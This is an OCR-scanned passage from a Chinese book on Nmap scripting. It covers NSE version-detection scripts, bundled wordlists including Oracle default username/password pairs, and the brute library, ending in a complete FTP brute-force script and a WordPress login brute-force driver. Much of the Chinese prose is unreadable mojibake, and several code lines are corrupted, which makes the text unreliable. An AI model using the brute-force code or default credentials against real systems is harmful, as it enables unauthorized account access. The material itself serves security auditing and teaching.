TE 58 BN iR 55 FIBC & BRI Z Je, 33X PRV A R 2 e B 0h 7 1) s 1 IR A4S 7 B - X 3 v
table,

-—- parse the received data string into an output table
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local info = o table(fulldata str)

port.version.name = "ventrilo"

port.version.name confidence = 10

port.version.product = "Ventrilo"

port.version.version = info.version

port.version.ostype = info.platform

port.version.extrainfo = "; name: ".. info.name

1f port.protocol == "tcp" then

port.version.extrainfo = "voice port" .. port.version.extrainfo
else

port.version.extrainfo = "status port" .. port.version.extrainfo
end

port.version.extrainfo = port.version.extrainfo .. "; uptime: " ..

uptime str(info.uptime)
port.version.extrainfo = port.version.extrainfo .. "; auth: " .. auth str(info.auth)
Nmap.set port version(host, port, "hardmatched")

X — K B VL BC A9 45 5 A hardmatched, R AR LI A 02 — A ##E B ir & —1
Ventrilo server,

XA BIASTFEXT—> Ventrilo server £ Z J5 AR U0 F fT 7R o

PORT STATE SERVICE VERSION

9408/tcp open ventrilo Ventrilo 3.0.3.C (voice port;
name: TypeFrag.com; uptime: 152h:56m;

auth: pw)

| ventrilo-info:

| name: TypeFrag.com

| phonetic: Type Frag Dot Com

| comment: http://www.typefrag.com/

| auth: pw

| max. clients: 100

| volce codec: 3, Speex

| voice format: 32,32 KHz%2C 16 bit%2C 10 Qlty
| uptime: 152h:56m

| platform: WIN32

| version: 3.0.3.C

| channel count: 14

| channel fields: CID, PID, PROT, NAME, COMM
| client count: 6

| client fields: ADMIN, CID, PHAN, PING, SEC, NAME, COMM
| channels:

| <top level lobkby> (CID:
| Group 1 (CID: 719, PID:
| stabya (ADMIN: 0, PHAN:
| Group 2 (CID: 720, PID:
|

|

|

|

|

PID: n/a, PROT: n/a, COMM: n/a): <empty>
PROT: 0, COMM: ):

PING: 47, SEC: 206304, COMM:

PROT: 0, COMM: ): <empty>

Group 3 (CID: 721, PID: PROT: 0, COMM: ): <empty>

Group 4 (CID: 722, PID: 0, PROT: 0, COMM: ): <empty>

Group 5 (CID: 723, PID: 0, PROT: 0, COMM: ):

Sir Master Win (ADMIN: 0, PHAN: 0, PING: 32, SEC: 1868950, COMM:
waterbukk (ADMIN: 0, PHAN: 0, PING: 31, SEC: 111387, COMM:

-

-

T~

-

o o O o o O
-
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likez (ADMIN: O, PHAN: 0, PING: 140, SEC: 22457, COMM:
Tweet (ADMIN: 0O, PHAN: 0, PING: 140, SEC: 21009, COMM:

AFK - switch to this when AFK (CID: 732, PID: 0, PROT: 0, COMM: ):
_ Eisennacher (ADMIN: 0, PHAN: 0, PING: 79, SEC: 181948, COMM:
Service Info: 0S: WIN32

|

|

| Group 6 (CID: 724, PID: 0, PROT: 0, COMM: ): <empty>
| Raid (CID: 725, PID: 0, PROT: 0, COMM: ): <empty>

| Officers (CID: 726, PID: 0, PROT: 1, COMM: ): <empty>
| PG 13 (CID: 727, PID: 0, PROT: 0, COMM: ): <empty>

| Rated R (CID: 728, PID: 0, PROT: 0, COMM: ): <empty>
| Group 7 (CID: 729, PID: 0, PROT: 0, COMM: ): <empty>
| Group 8 (CID: 730, PID: 0, PROT: 0, COMM: ): <empty>
| Group 9 (CID: 731, PID: 0, PROT: 0, COMM: ): <empty>
I

|

12.3.3 rpc-grind

JAIAS rpe-grind FRATIN HARBIAR S5 24 F . RPC 4 5 FIRRAS
T ORE XA portrule.

portrule = function (host, port)

—-— Do not run for excluded ports

if (Nmap.port 1s excluded(port.number, port.protocol)) then
return false

end

if port.service ~= nil and port.version.service dtype ~= "table" and port.
service ~='rpchbind' then

-- Exclude services that have already been detected as something
—— different than rpcbind.

return false

end

return true

end

187

XA RIS 6] Nmap-rpe SCHH 51 H B9 RPC 2 4R 5 & 1% RPC R G K. ZEXT T A /Y o]

WHATABZ J5, BEafaEsR, HHEmHER.

if #result > 0 then
port.version.name = result.program

port.version.extrainfo = "RPC #" .. result.number

if result.highver ~= result.lowver then

port.version.version = ("%$s-%s") :format (result.lowver, result.highver)
else

port.version.version = result.highver

end

nmap.set port version(host, port, "hardmatched")

else

stdNSE.print debug ("Couldn't determine the target RPC service.
Running a service not in Nmap-rpc ?")

end
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SRALIN B —4> RPC w55, R FNZ .

PORT STATE SERVICE VERSION
53344 /udp open walld (walld V1) 1 (RPC #100008)
MG

FEX—FH, 2227 Nmap X FIRS ZEM TAERLRE, GIEENS M. BHESW
45, R 52 B T %t modbus-discover. ventrilo-info F1 rpc-grind JL/MHA KRS . MEC L
BB HEAT Nmap HH AN FERAMRARI TIE T . REFRAERS — 1 WA A
ARSI T, R AT DAUSE b B4 X0 A ROR



CHAPTER

F13E
NSE FrRIEHRESUS 13

TGRS T R, A HBEEE S B, 242l — 4 Web %
SEOVRE R B AL PR B, MR E —EE T REMAF AU — M E T KEFEHET
S, BRIE B BOEL T

FIMEXT B AR RS 4817 IR 55 FRAE R E R BIR, o fF 2 — 80 ST R A L
ik 55 F#RAE R G 98 8015 B3 .

7E Nmap L3RG, XEE S C SR B R g2, HREEERNZE, X
s SO R e AR Y, FRATERAIE TN 12K FH 7 28 Fngg i e, 248 X Je dml A 25 A P 2
%, BRI, HREZRBI SRR/, Nmap HHBA R R A BE SC i

R, 7ESCRRAIN B, MRERS R EMMETTRUR, NS EEHE
SR 4 T AR SO R AR Nmap o Bl B9 3CF . BRAE T ff— T NSE i) — LU F 2 A9 5504
A

X —EEHRE TIRULT WA

2 Nmap HFAYEHE H 5 .

Q H P2 e dE o

Q Web [ FH & TH2508E S .

Q BHEFEE A S (DBMS) FHEE S04,
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13.1 Nmap "5 SO e i 07 &

B SHIA— T Nmap X 808035 P B, JTEETRE, XU EHTERERSA
EIENGE

) an, 7 Windows #AER G, XL FERTE C:\Program Files\Nmap\NSElib\data 3L {4
Jerp, 64 i RGEMA AN

1F Linux R AN #AE R G, XL CAFTF /usr/local/share/Nmap/NSElib/data F1 /usr/share/
Nmap/ selib/data 1,

Nmap 7E AT N A —> --datadir 26551, 787398 A XA 08 ] LL3a 2 20 H S id B
ENE, HMAmAT

SNmap --datadir /usr/local/Nmap-data/ -sC -sV <target>

13.2 Nmap P EFEEHE SCIF a7

NSE 2 H 3l )\ 45 € 0 B BE B R X, 2424 B SEPERAFAEEE SO, NAMP 4
RIS anF o

Q e 1. B --datadir FrdgEmY H %

Q fLoed 2. AR R ERNIE .

QfEeg 3. ZEHEF,

Q PLIEd 4: FEdmidEnt e U H %

13.3 287195 25 ) o4t J %) T e 44 s el o) 3 s S i

RZMRFSEMER T H P 2SS TR IE . ZEXT RS 31T S e B i T, &L
{0 B850 SO, — M T RERMH P %4, — A 7 RERE . Nmap 4t 1
XFERI PO, HR% E S| Nmap B2 A EE R, BRI A S a &N A IF
A%, HARLET 5 WH P 28 30 usernames.Ist 24 72 NFT (AE) 1KB), A7 T % I
DY) SCHF passwords.Ist /N2 A 46KB.

13.3.1 FHRPRHEEUY
usernames.Ist FHJAE T4rEH, FTHXNSX, WJUEINREEWTAZ,

root
admin

administrator
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webadmin
sysadmin
netadmin
guest
user

web

test

T 25 H X U ] P 4 HOR AR AP ) —3f 4, BIAnZe H A MS SQL Bk B IAH) &
LGRS sa ANTEFCA, 2RI XA B8 SCAEAN e Sost B FHAY ., 2 J07E 5E i) MS
SQL HHkE e FH 7 4 it BE i i b AR .

HIERR EAREFE Ml LU 3, X5 Mg iR/ N 2k 8| 2L GB ¥4, F35h
— L0 JT A0 B A ARt SR AN A

13.3.2 ZEREEUENE

passwords.Ist PRI A E FEH 8, RELE T 5000 245 W a9 EC M FEEH S,
H 2B XA SO B AR B 2 e 30, Hrp R 2 80% A I A 28 DUE B BT # R Y .

e, A XA BRI TR I AR, DX AR R S5 B AT W T TR B, 2
it FH—1~% b T ik R B ) B S

13.4 Web I iH i1 s Xk

Nmap 7EXT Web Jv FH 5937 1 05 112 1050 KA, 33088 37 4 Hh 1R A o 2 ) 31— S8 500908 5
PFo THERAE— T 1E Web 224 177 i #0 e 2fol FH 2 W6 2o Rt SCi

13.4.1 http-fingerprints.lua

XA A& —~ Lua table 2 URAF BB HE SO, FEXA XA S T —20% I Web [
HEE, XEfE B ARG S0 A SC 8 SO T e A B

Nmap 1% [THISEXT Web bz F i B ) SO 47 M2 B9 IIAS http-enum gL 1 XA~
s S

http-fingerprints.lua SCAH AN AT Frs

table.iNSErt (fingerprints, {
category="cms',

probes=/{
{path="/changelog.txt'},
{path="/tinymce/changelog.txt'},
}F

matches={
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{match='Version (.-) ', output='Version \\1'},
{output='Interesting, a changelog.'}

}

H)

Nmap FRVFX} http-fingerprints.lua SCIFHEATY 78, AT LABERRF—1>87 1) Web Bz 1 S0 Y
A BIINEX A table X

F5h, GnSR A BTE http-enum JEIAS AT ) B (s R LAt 8088 ST, T LAAESRAT B B
fe{d FH 28 --script-args http-enum.fingerprintfile K45 %€ . ) 41 ZLf A ./myfingerprints.txt 5 7]
LAPATIN R 4 o

Nmap --script http-enum --script-args http-enum.fingerprintfile=./myfingerprints.
txt -p80<target>

13.4.2 http-sql-errors.Ist

XAFAE AP T — R R IRNFER S, XA EE SO EE A http-sql-
injection Firfdi F . FHR5E BT I A2 5 e s HKAE SQL 1 AT, XA fFp—3tm a1
339 MFRFER

[e) 4t ] A F 2 %0 http-sql-injection.errorstrings 2 B2 33X A A PR AT B i e FH B4 45
A

--script-args http-sgl-injection.errorstrings=/home/user/fuzzin/errors.txt

13.4.3 http-web-files-extensions.Ist

NSE F#Y http-spider J& 32X 5T 1 #EA T H 90 B9 A2 iR st 2 o0 . XA XA
BT 200 Z4H UL Web N Y B4, AT LIARZS 5 #oks 55 Sh— 26 Web W P B 4 U i 3
XA, RS T XA SR — 5.

vsdisco
whxml

wdgt

web
webarchive
webbookmark
webhistory
webloc
website
webz

wgp

wgt

whtt
widget

wml
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13.4.4 http-devframework-fingerprints.lua

X ANECHE SC/F B Lua table ir#s) i, #iI4S http-devframework T FH, H A2+ B #x
Web B FHEYTT&ZIER , B4 ASP. PHP %, X table A4 — IR & T 0 F 7B

Q Name: JF &SR IATEA TR

Q RapidDetect: FEAGIN L FE H-GRTAT #9138 BRIZL

Q consumingDetect: —{~7E€H U1 [P T Y [2157 PR %K

fian, %F ASPNET H &5 K R s o

ASPdotNET = { rapidDetect = function(host, port)
respoNSE = http.get (host, port, "/")
-— Look for an ASP.NET header.
for h, v in pairs(respoNSE.header) do
vl = v:lower /()

if h == "x-aspnet-version" or string.find(vl, "asp") then
return "ASP.NET detected. Found related header."
end
end
1f respoNSE.cookies then
for , c in pairs(respoNSE.cookies) do
if c.name == "aspnetsessionid" then
return "ASP.NET detected. Found aspnetsessionid cookie."™
end
end
end

end,
consumingDetect = function(page, path)

—— Check the source and look for common traces.
1f page then

if string.find(page, " __ VIEWSTATE") or
string.find(page, " EVENT") or
string.find (page, " doPostBack") or
string.find (page, "aspnetForm") or
string.find (page, "ctl00 ") then
return "ASP.NET detected. Found common traces on" ..path

end

end

end

13.4.5 http-folders.txt

XA EHE S E T 956 4 HTTP R WY H %44, # A http-iis-webdav-vuln T
F, R OIS 5.1/6.0 28R 5548 F AT . XS AEIT .

/admin-bak/
/Admin files/
/administration/
/administrator/
/admin-old/
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/adminuser/
/adminweb/
/adminWeb/
/admisapi/
/AdviWebAdmin/
/Agent/
/agentes/
/Agents/
/Album/
/AlbumArt/
/AlbumArt /
/allow/
/analog/

[FRE, AnSRAAR B X N8 S0, Hn] DA 28X --script-args folderdb SR $8 e HiAdL 1)
BAE S, Flan{dE i /pentest/fuzzers/folders.txt /£ AiX 1~ H 5% .

--script-args folderdb=/pentest/fuzzers/folders.txt <target>

13.4.6 vhosts-default.Ist

JAS http-vhosts Al FH X R SCUFR AT H AR IR 5 4% SR — A R LG & — S HE
i Web 5548 o XA SCARIER TN

admin
administration
ads
adserver
alerts
alpha

ap

apache
app

apps
appserver
aptest
auth
backup
beta

blog

cdn

chat

citrix

13.4.7 wp-plugins.ist

XA T 18 575 4~ H ULAY WordPress 14194 #r, 4 http-wordpress-plugins
A2 ) FH 3 SO SR X R . WordPress Bl IR 55w b 1728 195 26 00 . WEFEEMZ, W
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3 http-wordpress-plugins i 4~ tf AN FEZK F5 A€ --script-args http-wordpress-plugins.search, iX ]~
A &2 HUHT 100 M2 -

akismet

contact-form-7
all-in-one-seo-pack
google-sitemap-generator
wordpress—-seo

jetpack

nextgen-gallery
wordpress—-importer
google-analytics-for-wordpress
wp-super-cache

wptouch

si-contact-form
wp-pagenavi

woocommerce
tinymce-advanced
w3-total-cache

wordfence
google-analyticator

13.5 DBMS-auditing $3 X1}

il

LSRR E PR S (DBMS) A 5 Y JAVAS 22 {6 RS0 ST RAF i W UL AR AH SQ 47 £

FREOUF R FERE A/ 1T

13.5.1 mysql-cis.audit

XA SO T Nmap %% H &, FZMRIE CIS MySQL v1.0.2 benchmark > £ il

MySQL # s FEMBL B & 2. NSE A —> mysql-audit AT 2 17X 304, X3
R A 13-1 TR

43
49
=i
al
a2
23
a4
a5
a6
a7
bt
a9
&0
a1
62
63

test | 1d="3.1", desc="Skip symbolic links", =ql="SHOV wariables WHERE Variable name = ~log_srror’ AND Value IS NOT NULL®, check=function (rowstab)
return { status = not (isEmpty (rowstab[1]12) }

end

!

test { 1d="3.2", desc="Logs nol on system partition”, sgl="5HOW variables WHERE Variable name = 'log_bin’ AND Vzlue <» "OFF ", check=function|rowstab)
loeal log = colZtabirowstab[1], " Value™)
return { status = isEmpty(rowstab[1]), result = log, review = not (isEmpty(rowstab[1])) ]

end

I

test { 1d="3.2", desc="Logs not on database pzrtitien”, =sql="5HOW variables WHERE Variable_name = *log_bin® AND Value <> "OFF ", check=functien(rowstab)
local log = colZtabirowstab[l], " Value’)
return { status = isEmpty (rowstab[1]), result = log, review = not (isEmpty (rowstab[1]1)) 1}

end

!

&l 13-1 mysql-cis.audit ¥ INZ
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13.5.2 oracle-default-accounts.|st

XA SO E T 687 A~ Oracle 0HE e H AR BSIE R P 44 o XA SCHF % oracle-brute
1 oracle-brute-stealth I IA BT . XA SR N 24& =S E] 13-2 Bz .

Zlcomment: Thiz password file was created from the hashes in dfltpass.=ql a
®lcomment: script created by Oracle to scan databases for default credentizls.
AASH/AASH

ABA1/ABA1

AEM/ AEM

AD_MONITOR/LIZARD

ADAMS/WOOD

9 ADS/ADS

10 ADSEUL_US/WELCOME

11 AHL/AHL

12 |AHM/AHM

13 AK/AK

14 AL/AL

15 ALA1/ALAL

16 ALLUSERS/ALILUSERS

17 ALR/ALR

18 |AMA1/AMAl

19 |AMA2/AMA2

=] @ N & L B =

oa

/& 13-2  oracle-default-accounts.Ist H Y PN 25

U0 SR Bl Ho At Scff, WT LA G --script-args userdb=/pentest/users.txt FEFTIE N .

13.5.3 oracle-sids

{4 oracle-sids B3 T 700 N LAY Oracle 4% FE L 48, X447 oracle-sid-
brute P . XN FRAE 13-3 iR,

5 ORCL

6 XE

7 ASDB

8 IASDB

9 OEMREP
10 ORCL.WORLD
11  ADV1

12  ADVCFROD
13 AIX10

14 AIX11

15 AIX9

16 APEX

17 ARIS

18 ASDEBO

19 ASDE1

20 ASDB2

21  ASDB3

22 ASDB4

23 ASDBbB

& 13-3 oracle-sids FAINZE
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& Nmap Hb A — L8 A H AT BE SO/, 31X LR TR IRA - —— A 4.

M4

fEX—F, 0T NSE Pl F & R A R B 8dE SCiF . 9 Ah T g T R R
i ] B ORI B E . WBRZETFIGES , w LURJE 98 25 PR B A R 9 i AT B 2
LU R R AMEH B TAEhWAl 2 W2 WK P 4 . Bl — s fb-4 .,
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F14E
1 4 ZIOEIT AR &

NSE Hr—AEZ P INRERL XA F RS . B e ss B i i, RARE —
W LB BENLER, e+ BSOS EIT REFHFEER—FZ AL BRI, HE
X EEA P 45 55 O A X RS S E T T R I L P2 —EA T e 58 s 4 o RSB[R 1]
B ES 0SS FEMEE R, (BENZLIERERXHENN . A HE Nmap
2T T 50 f5s 0 ARIIEA, XEERIAR FEE XL XN . AR5 DAL
J7 1 o

Q HTTP, HTTPS DA f—4£ Web W .

Q SMTP. POP DL J IMAP 45 HpA4-Hs i L F

Q Oracle. IBM DB2, MySQL. MS SQL %54 W B0 % .

Q PEASFEEH RS SVN Hl CVS,

Q —SEERPRAG M, 4N SIP, VMWare Authorization,

fEX—EH, Bt 8,

Q a7 NSE s s g 7 s XA 42

Q AT 7E brute PECHEHSCEE Driver 28,

Q Wfa] % brute 512 4T H .

Q @far{di A username # password ZUHE )

Q W] 7 AR Fr B SR AR UEE T B
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14.1 fdi ] NSE JEilk17 T4E

brute f& NSE H1— > >k 52 BT 55 6 1 47 2 7 WS i 1) 22 SC Ak o A v i L s A 22 S A
A DA = R DR TAOR . AR R XA E SO LA S, Bn] DA IF 474085 5% B 3
PVE. EXANEXM SR Z AR R TEEC, SXFER AT LA R I H ek 28 J P 22 USRS i 45
o Brute 8 A LIXT AN SERE (5 AT AL BE, AR 5 43 L6 FH 7 44 0% 0 B0 80 S Jn 218 55 BA )
B, 77h Brute XPNEWREH M creds FETRE TAE. Bk nl LAXT 4 12 A BUS s 2h i FH P 24
MBS HTRAE, DESITEARLE, S22, XRE-DIREIERER R E, FIHXAER L
RRFA MY 2 T T R A R Y AR

brute NSE JE € LUNTF 4 M2,

J Account

A Engine

A Options

A Error

MIX LR 2 F g al LB M N ®E, REFXERNTZHA Y. — MR T
brute £ ) NSE I A& 75 22 ] Engine 2845 3% — >4 & host.. port UL 2 option Y] Lua table, 4
Engine XIF 3G, TEB—IRKEREERS 42—~ Driver 2SH 5241,

T H# A brute.Engine:new() 77 A — Engine 21354,

brute.Engine:new(Driver, host, port, options)

TS T brute. Engine JER)SEHI4k, PARJERH Y HIE R,

local status, result, engine

engine = brute.Engine:new (Driver, host, port, options)
engine:setMaxThreads (thread num)
engine.options.script name = SCRIPT NAME

status, result = engine:start()

1% T K2 > — P Anfal 58 i NSE brute A FA% L

Driver 2532 .

14.1.1 NSE & brute EXHNEE

Brute PAFTEZ P IATALE, XBUEIZUERE 1 WA XF H P 24 F ILRVE S F IR T &
XA E R AT R, At 7E RZSHEH R AMERE ] UEH TAE.

Brute £ S F£F =P A A B

Q User #&={

Q Pass X

A Creds =\
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X A R X =R, B, B —THPZ5E, NEWT.

Admin
Root

A —EERSIER, AR,

Test

Admin

R AEEHE User #3X, Engine K2 221X H 1 24 91 & v 44 H P 24 VL BC R 19 %
0, WU — P A4S A R ESHS A, BT TP 4. XA
NHE, PR SRAFIEA T,

admin:test
admin:admin
root:test
root:admin

7E Pass AL UH, Engine K 22X H S| R PRI BN E S ILEC A R 24, Wate
BRI 25— B ST A R P 2 HE A, HIHET — S, XM
i, PEAERERASIEAWT .

admin: test
root:test
admin:admin
root:admin

B¢ Jr 19 Creds BLaUA] ATESCOF Pl — S MU P 2 LS, Radb r sk, XA
PFT AES RO T e o ST I P 48 A A X R A% 5

admin/admin
admin/12345
admin/

HP A MEESER—17, HEH ‘77 Bt
FIANTENL T, Nmap K I#BIE Pass Bzt
AT DL B e FH 28008 g iX 2

--script-args brute.mode=creds,brute.credfile=/home/pentest/commoncreds.txt <target>

. A] DA{E FH userdb Fil passdb K B ;7 44 WS SCAEC AN 50, Bilan F 1 B35 )

--script-args userdb=/home/pentest/users.txt,passdb=/home/pentest/top500.txt <target>

14.1.2 NSE  Driver 2593

brute.Engine £ 7F £ IR B IR 7= A2 — ™ Driver 28/ 3L 41|, 7E X TFH B E L) PR
AFEWM T NE
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A Driver:login()

A Driver:connect()

A Driver:disconnect()

PRIZX Driver:login() H 7M1 (i 96 & H P 24 FUE IS5 R B AR Z48 . XS RV %6
FHARENE: —MM/RRBIRE, XMERR TERBERE; B—MEBRTXMRE,
USRS SIS, IR BIRELE— TR, WARE SRR, R BRI RLE— R 2.

PRI Driver:connect() H H AL FRAN B AR ST 3% AT S ML ERE . HIane) M 4% socket
BT . Rl Bir2BEL .. 25A RN, XANTJ7IETE Driver:login() Z AT .

5% J& , Driver:disconnect() J7 7% HSRSEEL —LL 55 B TR, Bl anSCH SCRAAPRFR 5. 45K
socket 47 Z JEWHAE . Driver:connect() 1 Driver:disconnect() 7] L J&ZS ),

TG T T A XA RIEE,

Driver = {

new = function(self, host, port, options)

end,
login = function(self)

end
connect = function(self)

end
disconnect = function(self)

end
}

PAE 45 X ARy — A LR SE B #2 . 7E X 18R 2 H SE Driver:connect() Fl
Driver:disconnect() 334 HAEIER, X &R XA AR T http FEAP A HTTP 7k, M
XTI A socket.

Driver = {

new = function(self, host, port, options)

local o = {}
setmetatable (o, self)
self. index = self
o.options = options
return o

end,

connect = function( self )

return true
end,

login = function( self, username, password )
—-— Note the no cache directive
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stdNSE.print debug (2, "HTTP POST %s%s\n", self.host, self.uri)

local respoNSE = http.post( self.host, self.port, self.uri, { no_cache = true },
nil, {[self.options.uservar] = username, [self.options.passvar] = password } )
-— This redirect is taking us to /wp-admin

if respoNSE.status == 302 then

local ¢ = creds.Credentials:new( SCRIPT NAME, self.host, self.port )

c:add (username, password, creds.State.VALID )

return true, brute.Account:new( username, password, "OPEN")

end

return false, brute.Error:new( "Incorrect password" )

end,

disconnect = function( self )
return true
end,

check = function( self )

local respoNSE = http.get( self.host, self.port, self.uri )
sthSE.print_debug{l, "HTTP GET %s%s", stdNSE.get hostname (self.host),self.uri)
-— Check if password field is there

if ( respoNSE.status == 200 and respoNSE.body:match('type=[\""]password[\'"]"')) then
stdNSE.print debug(l, "Initial check passed. Launching brute force attack")
return true

else

stdNSE.print debug(l, "Initial check failed. Password field wasn't found")

end

return false
end

}

14.1.3 NSE RESEFIEFIEIREE

brute JFE 8 — MMEHWAE T BRI REVE, BSR4 T A48 E IR 5¢ UL & -

#lan, @il brute firstOnly WE2, R LAV FE4T 2 0 B9 HIE] o A0 R 48 € IX 280, NSE
B — N IEF A P A A Z JE e 1k o XA AL E SR AT RN F o

A firstOnly

A passOnly
1 max retries
A delay

Q mode

Q title

J nostore

 max guesses
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 useraspass

d emptypass

brute.firstOnly Z 82— M /REBIFME, KE TX NS, HEPITHREPmREE T —
MR P %S, Engine BEZR . ELHIWF,

Nmap --script brute --script-args brute.firstOnly <target>

Z %8 brute.passOnly Bt HIRALMH 2 A BTE L. BEE LB T,

Nmap --script brute --script-args brute.passOnly <target>

Z: 4 brute.max_retries B | G SN I R M 4B E, WEEBWE, XT3
AT B, 22 F88A A,

Nmap --script brute --script-args brute.retries=10 <target>

Z4 brute.delay %5 H T PR G SRIRAEZ RIAY B[R] (R . BCESEHIANT .

Nmap --script brute --script-args brute.delay=3 <target>

A RIAENRARIE—ERVFRIE, 1R RE7ER B R NS R EREIRIE RiE
RZJG, MSTEgPWCE FIEK . 28 brute.max_guesses & X 1 N P 223808 SR 9 0B
[FIFEAE AR 24T H X NS EU 4 7 F brute.max_guesses B A A .

Nmap --script brute --script-args brute.guesses=10 <target>

SRIAEOL T brute U STE 22508 KB T P 24 AR — Aok # e, WTLL#E A
AT RS AE

Nmap --script brute --script-args brute.useraspass=false <target>

248 brute.emptypass 75 & P LA IS /M E M . XS EE W] DI 21T HIRE

Nmap --script brute --script-args brute.emptypass <target>

WRFERRTF P BUE XS EAYE, T EAE Driver BUI IR YIRS € o

Driver =

{
new = function(self, host, port, options )

local o = { host = host, port = port, options = options }
setmetatable (o, self)

self. index = self

o.emptypass = true

return o

end,

...],

14.1.4 NSE F@i¥ Account XISIREIB A
Account 3 IR (RAFLE YU A B o LA P ANRERS . 5 — MR A oo 0 S
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#A —RE . XERBEIEWT =4

d OPEN

Q DISABLED

Q LOCKED

£ 5230 Driver 8 YIS R AT LAFR B XA, XIS I L4125 ) AR Driver:login() BRZLHY
RIEHE . T A AL, A] LU B {6 username . password F account state iX =
SRR IR A AN S

brute.Account:new (username, password, "OPEN")

fERAR T, BT (0K P BB EF AR 4 BB . M, 7EAE Driver:login() 3%
B sE LR NA

if string.find(data, "Welcome home") ~= nil then

return true, brute.Account:new(username, password, "OPEN")

elseif string.find(data, "Too many attempts. This account has been locked") ~= nil then

return true, brute.Account:new(username, password, "LOCKED")

end

14.1.5 NSE 91§ Error 2R4AMES &

Error KR LT HBFHAT PR . XNRA USRI FH 2K, A
NSE A B X AN 28 02— R 4R > 1o
4 7 8% brute.Error HSEH, 75 2 FxX NS A0 #4 1 pR AL

brute.Error:new ("Your own message error goes here")

XA LK 224 M Driver SEEEH 9SS N [RI{E .

if login then

return true, brute.Account:new(username, password, "OPEN")
else

return false, brute.Error:new("Incorrect password")

end

14.2 i/l unpwdb NSE JF i BUH P Z FEm s S

unpwdb ESCHHPALE T B REL, B usernames() Fl passwords(), | M A CAS B4 45 1
T fnfe] s A I S pR A S A P 2 R RS B R T B B .

local usernames, passwords

local Nmap try = Nmap.new try()
usernames = Nmap try(unpwdb.usernames())
passwords = Nmap try(unpwdb.passwords())
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for password in passwords do

for username in usernames do

-— Do something!

end

usernames ("reset") --Rewind list
end

14.3 b £ 200 H P SE IR T4 R

Nmap 6.0 ARTAYRRASH, i NSE #5745 2] 49 H P 25 7% 15 #10 2 (R 7 7 Nmap M 3%
(registry) "', Creds & HBY/E HHE 2 e it — FH 2R 58 i X registry H B9 P AR IE AT 2 U1 S
ABRVERIEE . F brute. Account FHZEMML, X B —MEIEAPRECE — 1 RE, B RZE
RUdiE. fE—> NSE JAA, a] DL sR 808 i B A9 I

tostring(creds.Credentials:new (SCRIPT NAME, host, port))
o A] IR PR B P 747 1 I HRAE o
local ¢ = creds.Credentials:new(creds.ALL DATA, host, port)

for cred in c:getCredentials(creds.State.VALID) do
doSomething (cred.user, cred.pass)

e iy

end

i R LUTR] LR X LE N A — S0

local ¢ = creds.Credentials:new( SCRIPT NAME, host, port )
status, err = c:saveToFile("credentials-dumpfile-csv","csv")

B SR UE ] IS A B SR IR ST 24750 K. BN, ZoRESEFEUER HTTP k55
KRB —R, o] LAME T X5,

Nmap -p- —--script brute --script-args creds.http="cisco:cisco" <target>

LU global XEFAERISECRE ENTRMB 2R/ .

Nmap -p- --script brute --script-args creds.global="administrator:administrator" <target>

), P —AF I SRR R N =, flan.

local ¢ = creds.Credentials:new(SCRIPT NAME, self.host, self.port )
c:add (username, password, creds.State.VALID )

14.4 5% FTP M85 i1 A

AT RS — BRI 2 W FTP B A, BABERINT
B, FAFTREF, RIE45 HEARNEER

local brute = require "brute"
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local creds = require "creds"

local Nmap = require "Nmap"

local shortport = require "shortport”
local stdNSE = require "stdNSE"

local string = require "string"

description = []
Performs brute force password auditing against FTPservers.

Based on old ftp-brute.NSE script by DimanTodorov, Vlatko Kosturjak and Ron Bowes.]]

author = "Aleksandar Nikolic"
liceNSE = "Same as Nmap--Seehttps://Nmap.org/book/man-legal.html"
categories = {"intrusive","brute"}

I 2 XPAARSLERI ) H AR VL 21 3w H IR, s80F et FTP ik%5 LUS 6
AT, X H{dH shortport.port or service() K& XX~ portrule.
portrule = shortport.port or service(21,"ftp")

FIR 3: BT ORE X — socket b i iz B [E]

local arg timeout =stdNSE.parse timespec(stdNSE.get script args
(SCRIPT NAME ..".timeout"))
arg timeout = (arg timeout or 5) * 1000

T 4. JFURSEH Driver 38,

Driver = {

new =function(self, host, port)
local o= {}

setmetatable (o, self)

self. 1index = self

o.host =host

O.port =port

return o

end,

LI 5: X H A Driver:connect() PREUN IZEE N — IR TIrds 2%,

connect =function( self )
self.socket = Nmap.new socket ()
localstatus, err = self.socket:connect(self.host, self.port)
self.socket:set timeout (arg timeout)
if (not (status)) then
returnfalse, brute.Error:new( "Couldn't connect to host: " .. err )
end
returntrue
end,

HBR6: FL T RPN AT EZR Driver:login BREGSr, TEX BE LI 1%
A — R AP

login =function (self, user, pass)



F 14T FEHEITRHANFLE K 207

localstatus, err

localres = "

SR [ HEREVLE send ZEH 4o

status,err = self.socket:send("USER " .. user .. "\r\n")
if (not(status)) then
returnfalse, brute.Error:new("Couldn't send login: " .. err)
end

B 8: v Hir FHLEEH send ZiIEZEN

status,err = self.socket:send("PASS " .. pass .. "\r\n")
if(not(status)) then
returnfalse, brute.Error:new("Couldn't send login:

err)
end

SRR BN, RIFIAGER BB —17

Localbuffer = stdNSE.make buffer(self.socket, "\r?\n")
Localline = buffer ()

ZIR10: L TFRIR BIRIER N BT LR, AJERBDIMER A “2307 AEEE.

while (line)do
stdNSE.debugl ("Received: %s", line)
if(string.match(line, "*230")) then
stdNSE.debugl ("Successful login: %s/%s", user, pass)
?return true, creds.Account:new( user, pass, creds.State.VALID)
elseif (string.match(line, "*530")) then
return false, ??brute.Error:new("Incorrect password" )
elseif(string.match(line, "7*220")) then
elseif(string.match(line, "*331")) then

SR PE AL ErA B (2300 530, 220, 331) @9iE, XHEFE™ & -4
brute.Error HJSEH .

else
stdNSE.debugl ("WARNING: Unhandled respoNSE: %s", line)
local err = brute.Error:new("Unhandled respoNSE")

err:setRetry(true)
return false, err
end

line =buffer/{()
end

returnfalse, brute.Error:new("Login didn't return a proper respoNSE")
end,

X BFEHEFE L — Driver:disconnect() & 1EAf <M socket,

disconnect= function( self )
self.socket:close()
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returntrue
end

}
H 811 . 75 E Q@ — ) brute.Engine i SZ i, 7E action 3 43 K 58 i ¥ X 4 brute.
Engine MJ#FIIH1E o

action = function( host, port )

localstatus, result
localengine = brute.Engine:new(Driver, host, port)
engine.options.script name = SCRIPT NAME

status, result= engine:start()

returnresult
end

B E LR 1 XA FTP S R /B AR5 TAE, X BACH AT E R B9 RCR W A
14-1 B

- - : [
= Zenmap - M..H..WNW._[EL'E—B

AiE@ TRD EEE ®9H)
B  10.16.30.44 E| B B B

#8%: Nmap -p 21 --script fip-brute 10.16.39.44

& 4 = Nmap -p 21 --script fip-brute 10,16.39.44 B
bogon (10.16.39.44)
Starting Nmap 7.3@ { https://nmap.crg ) at 2016-11-17 18:13 2D10zE=28%2?

bogcm (192.168.153.130) Mmap scan report for bogon (18.16.39.44)

Host is up (@.885 latency).
